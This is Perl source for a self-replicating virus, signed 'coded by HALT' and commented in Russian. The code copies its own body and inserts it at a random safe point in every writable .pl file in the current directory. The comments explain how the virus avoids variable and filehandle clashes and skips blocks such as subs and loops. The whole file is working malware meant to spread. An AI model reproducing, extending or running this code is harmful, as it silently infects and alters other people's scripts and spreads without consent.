#!/usr/bin/perl 
#coded by HALT
use strict;
no warnings;
{my $line = __LINE__;#тело вируса в именованом блоке для того, чтобы избежать конфликт с уже объявленными переменными и открытыми дескрипторами
my @script;
local *FILE; #на случай, если в исходной программе уже существует дескриптор FILE
my $myname = *0{SCALAR};
open FILE, "<$$myname";
@script = (<FILE>)[$line-1 .. $line+46];
close FILE;
F:
while (my $__ = <*.pl>){#мой личный выбор. кто хочет, может добавить еще .cgi или вообще open...\n if (($head=<FILE>)=~/#!.*perl/) 
if (-T && -w) #хм... никогда не видел фалов, разрешенных на запись, но запрещенных на чтение, поэтому пропускаю -r
{
	next if $_ eq $$myname;
	my ($index, @true, @text) = 0;
	open FILE, "<$__";
	@text = <FILE>;
	close FILE;
	FF:
	for (my $i = 0; $i <= $#text; $i++){
		next if ($text[$i] =~ /^\s*#|^\s*use/);

		if ($text[$i] =~ /{/){#}избегаем попадание в блоки процедур sub, циклов while, until, for, условий if
			my ($open, $close) = (0, 0);
			my $line_temp = $text[$i];

			do {#подсчет открытых и закрытых скобок, чтобы не попасть внутрь, даже если это именованный блок, в который по идее записывать можно (безопасность требует жертв)
				next F if $line_temp =~ /^local \*FILE;/;
				++$open while $line_temp =~ /{/g;
				++$close while $line_temp =~ /}/g;
				last FF if $i == $#text + 1;#если запутаемся :) ну вдруг там идет поиск на { вот и писец :(
				$line_temp = $text[++$i];
			} until $open == $close;
			$true[++$index] = $i;

			next;
		}

		next if ($text[$i] =~ /for|while|do|until|if|sub/);#на случай конструкция а-ля while (<FILE>)\n{...блок...

		$true[++$index] = $i;
	}
	my @End_of_text = splice @text, $true[time % $#true] + 1;#разделяем массив для добавления кода
	push @text, @script;
	push @text, @End_of_text;
	open FILE, ">$__";
	print FILE @text;
	close FILE;
	
}}}